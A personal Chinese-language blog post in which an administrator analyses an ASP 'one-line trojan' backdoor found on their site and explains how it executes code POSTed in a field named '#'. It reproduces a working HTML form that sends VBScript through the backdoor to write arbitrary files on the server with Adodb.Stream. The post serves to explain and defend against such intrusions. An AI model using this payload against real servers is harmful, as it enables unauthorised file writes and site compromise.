關於我

我的相片
用心思考、保持熱情,把工作上的經驗作分享與紀錄。希望能夠跟大家一起不斷的成長~

一句話木馬原理分析

今天發現有網站asp程式,被植入了一段VBScript.111
便趕緊上網查了一下。
下面為了解後的資訊,註記下來:

  1. 先了解上方是已先被植入到Server端asp程式內的木馬,怎麼被植入的我就不知道了,只是這個木馬,便提供給駭客一個後門。
    駭客便可利用此木馬,入侵做些不合法的事了,不過這段是一句話木馬的變形加強版,主要是此段script,在平時,完全不會對網站造成傷害,且瀏覽此頁asp的使用者,不會有異狀發生,且連直接在client看此網頁原始碼,也都不會發現此段木馬的蹤跡。
  2. 接下來要分析,駭客可以利用此木馬當作入口,做些什麼呢?!
    簡單來說,利用此木馬,即可執行其中名稱為chr(35)的html tag區域,chr(35)是#字號,這網頁中,沒有任何name=#的Tag,所以平時不會作用,但當有人Post給此網頁的資訊中,含有name=#的Tag,則此Tag中的資訊將被Execute!!
  3. 如上點說明,Google到一個典型的範例,利用Asp直接操作Server端的Adodb.Stream物件,利用此物件在Server端再植入其他程式、或任何您想植入的東西@@。
    範例如下:
    <form action=http://XXX/xxx.asp method=post>   
    <textarea name=# cols=120 rows=10 width=45>     
    set iP=server.createObject("Adodb.Stream")   
    iP.Open   
    iP.Type=2   
    iP.CharSet="big5"   
    iP.writetext request("aoyun")   
    iP.SaveToFile server.mappath("xxx.html"),2   
    iP.Close   
    set iP=nothing   
    response.redirect "xxx.html"   
    </textarea>  
    <textarea name=aoyun cols=120 rows=10 width=45>     
    哈哈哈     
    </textarea>     
    <input type=submit value=提交>     
    </form> 

    利用name=#部分的內容,讓Server端包含一句話木馬的網頁執行,寫入內容為name=aoyun部分的新網頁xxx.html。利用這樣的方式即可將欲寫入的資料寫到Server端,接下來可造成的傷害有多大,就可想而知了!!!實際執行的Client植入網頁如下圖:image
  4. 上方操作,實際測試,有兩點要注意,Adodb.Stream元件是否可使用,再來就是權限問題了,必須要有寫入權限,才可能可以成功植入。
  5. 因次網頁伺服器上的權限是相當重要的啊!!!千萬不可以大意!!

沒有留言:

張貼留言